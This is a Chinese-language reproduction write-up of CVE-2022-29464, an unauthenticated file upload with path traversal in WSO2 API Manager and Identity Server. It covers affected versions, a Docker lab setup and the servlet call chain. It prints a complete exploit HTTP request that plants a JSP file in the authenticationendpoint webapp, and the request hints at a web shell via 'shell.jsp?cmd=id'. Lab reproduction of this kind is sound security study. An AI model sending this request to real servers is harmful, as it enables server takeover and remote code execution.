漏洞简介
WSO2 API Manager是一款可以旨在提供优秀的API管理功能的产品,能够实现API的创建、发布、生命周期管理、流量控制、版本控制、治理和安全控制等功能。WSO2 API Manager可以为开发团队提供Web页面进行部署、管理和监控API。WSO2由于无限制的任意文件上传可以导致远程代码执行漏洞。CVE-2022-29464 中,攻击者可在无需授权的情况下结合目录遍历上传文件,从而执行任意代码,控制服务器。
影响版本
- WSO2 API Manager 2.2.0 and above
- WSO2 Identity Server 5.2.0 and above
- WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0
- WSO2 Identity Server as Key Manager 5.3.0 and above
- WSO2 Enterprise Integrator 6.2.0 and above
环境搭建
为了方便我们还是利用 docker 来搭建漏洞环境,根据漏洞对应的版本信息,我们下载文件
https://github.com/wso2/docker-apim/archive/refs/tags/v4.0.0.3.zip
利用其中的 apim-with-analytics
漏洞复现
构造数据包
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://localhost:9443//authenticationendpoint/shell.jsp?cmd=id
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycBdxh1rISgt8MNpN
Content-Length: 302
------WebKitFormBoundarycBdxh1rISgt8MNpN
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
test
------WebKitFormBoundarycBdxh1rISgt8MNpN--
https://10.0.21.13:9443/authenticationendpoint/1.jsp
在分析的时候发现了之前不曾留意过的问题 想利用 Wireshark 抓取详细查看一下数据包,但是发现被加密了,虽然抓到了数据包,但是并不能查看到相关内容,我们可以先取消请求 https,先去请求 http,虽然不能请求成功,但是可以看到具体的数据包
简单分析
org\wso2\carbon\identity\framework\org.wso2.carbon.identity.testutil\5.18.144\org.wso2.carbon.identity.testutil-5.18.144.jar!\repository\conf\carbon.xml
org.wso2.carbon.ui.transports.FileUploadServlet#doPost
org.wso2.carbon.ui.transports.fileupload.FileUploadExecutorManager#execute
org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor#execute